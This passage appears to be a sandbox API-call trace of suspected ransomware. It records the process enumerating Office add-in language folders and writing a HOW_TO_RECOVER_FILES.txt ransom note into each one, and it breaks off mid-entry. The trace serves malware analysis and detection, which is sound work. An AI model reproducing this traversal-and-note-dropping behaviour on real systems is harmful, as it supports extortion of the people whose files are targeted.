SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu", lpFilePart=0x0) returned 0x51 [0223.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0223.254] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.254] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c5d9c5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c5d9c5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.254] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.254] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.254] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d2a978, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d2a978, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.255] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.eu.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.255] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.eu.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.255] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0223.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.256] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.257] GetFileType (hFile=0x82c) returned 0x1 [0223.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.257] GetFileType (hFile=0x82c) returned 0x1 [0223.258] WriteFile (in: hFile=0x82c, lpBuffer=0x35a1bf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35a1bf8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.259] CloseHandle (hObject=0x82c) returned 1 [0223.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi", lpFilePart=0x0) returned 0x51 [0223.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0223.260] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.261] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13977942, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.261] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.261] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c1f8d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c1f8d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c45b55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.261] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.261] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x138defa8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13bd9da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.fi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.261] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.261] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0223.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi", lpFilePart=0x0) returned 0x51 [0223.262] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0223.263] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.263] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13977942, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.263] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.263] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c1f8d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c1f8d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c45b55, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.264] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.264] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x138defa8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13bd9da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.fi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.264] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x138defa8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13bd9da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.fi.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.264] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0223.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.265] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0223.266] GetFileType (hFile=0x82c) returned 0x1 [0223.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.266] GetFileType (hFile=0x82c) returned 0x1 [0223.267] WriteFile (in: hFile=0x82c, lpBuffer=0x35b53c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35b53c8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.268] CloseHandle (hObject=0x82c) returned 1 [0223.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr", lpFilePart=0x0) returned 0x51 [0223.268] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0223.269] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.269] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7582db3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.269] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5127e7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5127e7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.269] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.269] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.270] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13440553, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.fr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.270] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.270] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0223.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr", lpFilePart=0x0) returned 0x51 [0223.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0223.271] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.272] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, 